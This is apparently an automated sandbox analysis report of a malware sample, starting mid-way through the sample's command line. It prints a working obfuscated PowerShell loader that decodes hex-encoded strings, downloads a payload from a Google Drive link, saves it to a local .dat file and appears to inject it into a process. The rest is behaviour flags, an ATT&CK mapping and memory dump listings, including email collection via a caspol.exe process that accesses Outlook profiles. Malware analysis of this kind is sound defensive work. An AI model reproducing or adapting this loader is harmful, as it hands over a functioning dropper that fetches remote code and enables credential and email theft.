'D5B79E8385909694839984D1CCD1AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB69485B5949D9496908594B79E83B7849F9285989E9FA19E989F859483D9D9979A81D1D581908190D1D5BE939D98C1C1D8DDD1D9B6B5A5D1B1D9AAB89F85A18583ACDDD1AAA4B89F85C2C3ACD8D1D9AAB89F85A18583ACD8D8D8';.($Presuffer7) $Obli01;$Obli02 = Obli11 'D5BC9E9587968590D1CCD1AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB69485B5949D9496908594B79E83B7849F9285989E9FA19E989F859483D9D9979A81D1D5A1909D949E909F85D1D5BE939D98C1C2D8DDD1D9B6B5A5D1B1D9AAB89F85A18583ACD8D1D9AAB89F85A18583ACD8D8D8';.($Presuffer7) $Obli02;$Gastrosc7 = Obli11 'D5B583879D948382D1CCD1D5BC9E9587968590DFB89F879E9A94D9C1D8';.($Presuffer7) $Gastrosc7;$Gastrosc7 = Obli11 'D5B79E8385909694839984DFB89F879E9A94D9D5B583879D948382DDD1C1D8';.($Presuffer7) $Gastrosc7;$Gastrosc6 = Obli11 'D5BE9C938495829C909FD1CCD1AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB69485B5949D9496908594B79E83B7849F9285989E9FA19E989F859483D9D9979A81D1D5A1909D949E909F85D1D5A18394828497979483C5D8DDD1D9B6B5A5D1B1D9AAB89F85A18583ACDDD1AAA4B89F85C2C3ACDDD1AAA4B89F85C2C3ACDDD1AAA4B89F85C2C3ACD8D1D9AAB89F85A18583ACD8D8D8';.($Presuffer7) $Gastrosc6;$Depr = fkp $Presuffer5 $Presuffer6;$Gastrosc7 = Obli11 'D59D9485859495C2D1CCD1D5BE9C938495829C909FDFB89F879E9A94D9AAB89F85A18583ACCBCBAB94839EDDD1C7C5C7DDD1C189C2C1C1C1DDD1C189C5C1D8';.($Presuffer7) $Gastrosc7;$Gastrosc8 = Obli11 'D5B583909F9A9483D1CCD1D5BE9C938495829C909FDFB89F879E9A94D9AAB89F85A18583ACCBCBAB94839EDDD1C7C0C5C5C9C0C8C3DDD1C189C2C1C1C1DDD1C189C5D8';.($Presuffer7) $Gastrosc8;$Obli01 = 'https://drive.google.com/uc?export=download&id=1-7fE16kK-_VjGlyxUiZ77Miud4_JlSTH';$Obli00 = Obli11 'D5B084839E9288909FD1CCD1D9BF9486DCBE939B949285D1BF9485DFA69493B29D98949F85D8DFB59E869F9D9E9095A28583989F96D9D5BE939D98C1C0D8';$Gastrosc8 = Obli11 'D59D9485859495C3CCD5949F87CB90818195908590';.($Presuffer7) $Gastrosc8;$letted2=$letted2+'\Forblo.dat';$Aurocyan='';if (-not(Test-Path $letted2)) {while ($Aurocyan -eq '') {.($Presuffer7) $Obli00;Start-Sleep 5;}Set-Content $letted2 $Aurocyan;}$Aurocyan = Get-Content $letted2;$Gastrosc9 = Obli11 'D5B6908285839E8292D1CCD1AAA2888285949CDFB29E9F87948385ACCBCBB7839E9CB3908294C7C5A28583989F96D9D5B084839E9288909FD8';.($Presuffer7) $Gastrosc9;$Aurocyan0 = Obli11 'AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB29E8188D9D5B6908285839E8292DDD1C1DDD1D1D59D9485859495C2DDD1C7C5C7D8';.($Presuffer7) $Aurocyan0;$Unerrantly132=$Gastrosc.count-646;$Aurocyan1 = Obli11 'AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB29E8188D9D5B6908285839E8292DDD1C7C5C7DDD1D5B583909F9A9483DDD1D5A49F948383909F859D88C0C2C3D8';.($Presuffer7) $Aurocyan1;$Aurocyan2 = Obli11 'D5A194928584C8C2D1CCD1AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB69485B5949D9496908594B79E83B7849F9285989E9FA19E989F859483D9D9979A81D1D581908190D1D5A1839E959896909D9882D8DDD1D9B6B5A5D1B1D9AAB89F85A18583ACDDD1AAB89F85A18583ACDDD1AAB89F85A18583ACDDD1AAB89F85A18583ACDDD1AAB89F85A18583ACD8D1D9AAB89F85A18583ACD8D8D8';.($Presuffer7) $Aurocyan2;$Aurocyan3 = Obli11 'D5A194928584C8C2DFB89F879E9A94D9D59D9485859495C2DDD5B583909F9A9483DDD5B5948183DDC1DDC1D8';.($Presuffer7) $Aurocyan3#"
3⤵
- Blocklisted process makes network request
- Checks QEMU agent file
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3740

C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe"
4⤵
- Checks QEMU agent file
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:4872

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Install Root Certificate

Modify Registry

Web Service

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Email Collection

1

T1114

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

memory/260-133-0x0000000000000000-mapping.dmp

Download
memory/1704-149-0x00007FF8F8C90000-0x00007FF8F9751000-memory.dmp

Filesize
10.8MB

Download
memory/1704-134-0x0000000000000000-mapping.dmp

Download
memory/1704-135-0x0000013779B00000-0x0000013779B22000-memory.dmp

Filesize
136KB

Download
memory/1704-165-0x00007FF8F8C90000-0x00007FF8F9751000-memory.dmp

Filesize
10.8MB

Download
memory/1704-137-0x00007FF8F8C90000-0x00007FF8F9751000-memory.dmp

Filesize
10.8MB

Download
memory/3740-150-0x0000000008780000-0x000000000C21A000-memory.dmp

Filesize
58.6MB

Download
memory/3740-164-0x0000000008780000-0x000000000C21A000-memory.dmp

Filesize
58.6MB

Download
memory/3740-140-0x00000000058F0000-0x0000000005912000-memory.dmp

Filesize
136KB

Download
memory/3740-141-0x0000000006010000-0x0000000006076000-memory.dmp

Filesize
408KB

Download
memory/3740-142-0x0000000006170000-0x00000000061D6000-memory.dmp

Filesize
408KB

Download
memory/3740-143-0x00000000067A0000-0x00000000067BE000-memory.dmp

Filesize
120KB

Download
memory/3740-145-0x0000000006CF0000-0x0000000006D0A000-memory.dmp

Filesize
104KB

Download
memory/3740-144-0x0000000008100000-0x000000000877A000-memory.dmp

Filesize
6.5MB

Download
memory/3740-146-0x0000000007A80000-0x0000000007B16000-memory.dmp

Filesize
600KB

Download
memory/3740-147-0x00000000079D0000-0x00000000079F2000-memory.dmp

Filesize
136KB

Download
memory/3740-148-0x000000000C220000-0x000000000C7C4000-memory.dmp

Filesize
5.6MB

Download
memory/3740-138-0x0000000002EB0000-0x0000000002EE6000-memory.dmp

Filesize
216KB

Download
memory/3740-136-0x0000000000000000-mapping.dmp

Download
memory/3740-151-0x00007FF917850000-0x00007FF917A45000-memory.dmp

Filesize
2.0MB

Download
memory/3740-152-0x00000000777C0000-0x0000000077963000-memory.dmp

Filesize
1.6MB

Download
memory/3740-139-0x0000000005970000-0x0000000005F98000-memory.dmp

Filesize
6.2MB

Download
memory/3740-154-0x00000000777C0000-0x0000000077963000-memory.dmp

Filesize
1.6MB

Download
memory/3740-156-0x00000000777C0000-0x0000000077963000-memory.dmp

Filesize
1.6MB

Download
memory/4092-132-0x0000000000000000-mapping.dmp

Download
memory/4872-163-0x0000000000400000-0x0000000000430000-memory.dmp

Filesize
192KB

Download
memory/4872-157-0x00007FF917850000-0x00007FF917A45000-memory.dmp

Filesize
2.0MB

Download
memory/4872-159-0x00000000777C0000-0x0000000077963000-memory.dmp

Filesize
1.6MB

Download
memory/4872-160-0x0000000000400000-0x000000000062B000-memory.dmp

Filesize
2.2MB

Download
memory/4872-161-0x0000000000401000-0x000000000062B000-memory.dmp

Filesize
2.2MB

Download
memory/4872-155-0x0000000000B00000-0x000000000459A000-memory.dmp

Filesize
58.6MB

Download
memory/4872-153-0x0000000000000000-mapping.dmp

Download
memory/4872-158-0x00000000777C0000-0x0000000077963000-memory.dmp

Filesize
1.6MB

Download
memory/4872-166-0x0000000023E20000-0x0000000023EB2000-memory.dmp

Filesize
584KB

Download
memory/4872-167-0x0000000023DB0000-0x0000000023DBA000-memory.dmp

Filesize
40KB

Download
memory/4872-168-0x0000000023F10000-0x0000000023F60000-memory.dmp

Filesize
320KB

Download
memory/4872-169-0x0000000024270000-0x0000000024432000-memory.dmp

Filesize
1.8MB

Download
memory/4872-170-0x00007FF917850000-0x00007FF917A45000-memory.dmp

Filesize
2.0MB

Download
memory/4872-171-0x00000000777C0000-0x0000000077963000-memory.dmp

Filesize
1.6MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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